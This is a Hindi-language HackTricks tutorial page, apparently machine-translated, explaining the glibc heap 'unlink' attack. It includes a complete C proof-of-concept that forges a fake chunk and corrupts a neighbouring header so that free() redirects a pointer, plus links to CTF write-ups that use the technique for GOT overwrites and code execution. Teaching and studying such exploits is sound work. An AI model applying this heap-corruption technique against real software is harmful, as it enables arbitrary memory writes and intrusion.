Unlink Attack

AWS हैकिंग सीखें और अभ्यास करें:HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)

हैकट्रिक्स का समर्थन करें

• सदस्यता योजनाएं की जाँच करें!

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।

• हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स को पीआर जमा करके और हैकट्रिक्स क्लाउड github रेपो में।

मूल जानकारी

जब यह हमला खोजा गया था, तो यह अधिकांश वक्त एक डब्ल्यूडब्ल्यूडब्ल्यू (WWW - Write What Where) को संभव बनाता था, हालांकि, कुछ जांचें जोड़ी गई गई थीं जिसने हमले के नए संस्करण को और अधिक रोचक और **अधिक जटिल और अनार्थक बना दिया।

कोड उदाहरण:

कोड

```c #include #include #include #include

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };

int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];

// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0; }

</details>

* हमला काम नहीं करता अगर tcaches का उपयोग किया जाता है (2.26 के बाद)

### लक्ष्य

यह हमला एक चंक के लिए एक पॉइंटर को अपने आप से 3 पते पहले पॉइंट करने की अनुमति देता है। यदि इस नए स्थान (पॉइंटर के स्थान के आस-पास) में दिलचस्प वस्तुएं हैं, जैसे अन्य नियंत्रण वाली आवंटन / स्टैक..., तो उन्हें पढ़ना / ओवरराइट करना संभव है जिससे अधिक नुकसान हो सकता है।

* यदि यह पॉइंटर स्टैक में स्थित था, क्योंकि अब यह अपने आप से 3 पते पहले पॉइंट कर रहा है और उपयोगकर्ता संभावित रूप से इसे पढ़ सकता है और संशोधित कर सकता है, तो संभावना है कि संवेदनशील जानकारी को स्टैक से लीक किया जा सकता है या यहाँ तक कि वापसी पता (शायद) को छूने के बिना कैनरी को छूने
* CTF उदाहरणों के लिए, यह पॉइंटर अन्य आवंटन के पॉइंटरों के एक एरे में स्थित है, इसलिए, इसे 3 पते पहले पॉइंट करना और पढ़ने और लिखने की क्षमता होने के कारण, अन्य पॉइंटरों को अन्य पतों पर पॉइंट करने की संभावना है।\
जैसे ही उपयोगकर्ता अन्य आवंटनों को पढ़/लिख सकता है, वह सूचना लीक कर सकता है या अन्य पतों में नए पते ओवरराइट कर सकता है (जैसे कि GOT में).

### आवश्यकताएं

* कुछ नियंत्रण में एक स्मृति (उदाहरण के लिए स्टैक) में एक कपल चंक बनाने के लिए कुछ गुणों को मान देना।
* पॉइंटर्स को नकल करने के लिए स्टैक लीक।

### हमला

* कुछ चंक हैं (chunk1 और chunk2)
* हमलावर chunk1 की सामग्री और chunk2 के हेडर को नियंत्रित करता है।
* chunk1 में हमलावर एक नकली चंक की संरचना बनाता है:
* सुनिश्चित करने के लिए कि सुरक्षा उपायों को उलटने से बचने के लिए कि क्षेत्र `size` सही है: `corrupted size vs. prev_size while consolidating`
* और नकली चंक के फील्ड `fd` और `bk` chunk1 पॉइंटर को जहां रखा गया है उसे पॉइंट कर रहे हैं जिसमें -3 और -2 के ऑफसेट हैं इसलिए `fake_chunk->fd->bk` और `fake_chunk->bk->fd` मेमोरी (स्टैक) की स्थिति को पॉइंट करते हैं जहां वास्तविक chunk1 पता स्थित है:

<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

* chunk2 के हेडर संशोधित किए गए हैं ताकि संकेतित किया जा सके कि पिछला चंक उपयोग में नहीं है और आकार नकली चंक में शामिल है।
* जब दूसरा चंक मुक्त होता है तो यह नकली चंक अनलिंक हो जाता है:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* पहले यह बनाया गया था कि `fake_chunk->fd->bk` और `fake_chunk->bk->fd` एक ही स्थान पर पॉइंट करें (जहां `chunk1` स्टोर किया गया था, इसलिए यह एक वैध लिंक्ड सूची थी)। क्योंकि **दोनों एक ही स्थान पर पॉइंट कर रहे हैं** केवल अंतिम वाला (`fake_chunk->bk->fd = fake_chunk->fd`) **प्रभाव** डालेगा।
* यह **स्टैक में चंक1 के पॉइंटर को ओवरराइट करेगा जिसे स्टैक में 3 पते पहले स्थित पते (या बाइट्स) पर स्टोर किया गया है**।
* इसलिए, यदि एक हमलावर फिर से chunk1 की सामग्री को नियंत्रित कर सकता है, तो वह **स्टैक के अंदर लिख सकता है** जिससे संभावित रूप से कैनरी को छूकर वापसी पता ओवरराइट करने और स्थानीय चरों के मान और पॉइंट को संशोधित करने की संभावना होगी। फिर से chunk1 के पते को स्टैक में एक विभिन्न स्थान पर ओवरराइट करने के लिए।
* ध्यान दें कि यह संभव था क्योंकि **पते स्टैक में स्टोर किए गए थे**। जो खतरा और शोषण किया जा सकता है, वह **पते जहां नकली चंक के पते स्थित हैं, इस पर निर्भर कर सकता है**।

<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

## संदर्भ

* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* यद्यपि एक CTF में एक unlink हमला पाना अजीब होगा, यहां आपको कुछ व्राइटअप्स मिलेंगे जहां इस हमले का उपयोग किया गया था:
* CTF उदाहरण: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* इस उदाहरण में, स्टैक के बजाय malloc'ed पतों का एक एरे है। अनलिंक हमला किया जाता है ताकि यहां एक चंक आवंटित किया जिससे malloc'ed पतों के एरे के पॉइंटर्स को नियंत्रित किया जा सके। फिर, एक और कार्यक्षमता है जो चंक की सामग्री को संशोधित करने की अनुमति देती है, जिससे पते GOT को पॉइंट करने की अनुमति देती है, फ़ंक्शन पतों को लीक करने और RCE प्राप्त करने के लिए।
* एक और CTF उदाहरण: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* पिछले उदाहरण की तरह, आवंटनों के पतों का एक एरा है। यह संभव है कि पहले आवंटन के पते एक चंक के कुछ स्थानों पर पॉइंट करने के लिए अनलिंक हमला किया जाए और फिर इस आवंटन को नए स्थान पर ओवरराइट किया जाए। इसलिए, अन्य आवंटनों के पॉइंटर्स को GOT को पॉइंट करने के लिए ओवरराइट किया जा सकता है, लीक प्राप्त करने के लिए और फिर atoi के GOT को ओवरराइट करने के लिए एक वन गैजेट के पते को ओवरराइट करने के लिए।
* एक CTF उदाहरण जिसमें कस्टम malloc और मुक्त कार्यों का उपयोग करते हैं जो अनलिंक हमले के बहुत ही समान एक दुर्बलता का शिकार है: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* एक ओवरफ्लो है जो कस्टम malloc के FD और BK पॉइंटर्स को नियंत्रित करने की अनुमति देता है जो (कस्टम) मुक्त किया जाएगा। इसके अलावा, हीप में exec बिट है, इसलिए एक हीप पता लीक करना संभव है और गोट से एक हीप चंक को एक शैलकोड सहित एक फ़ंक्शन पॉइंट करने की अनुमति देता है।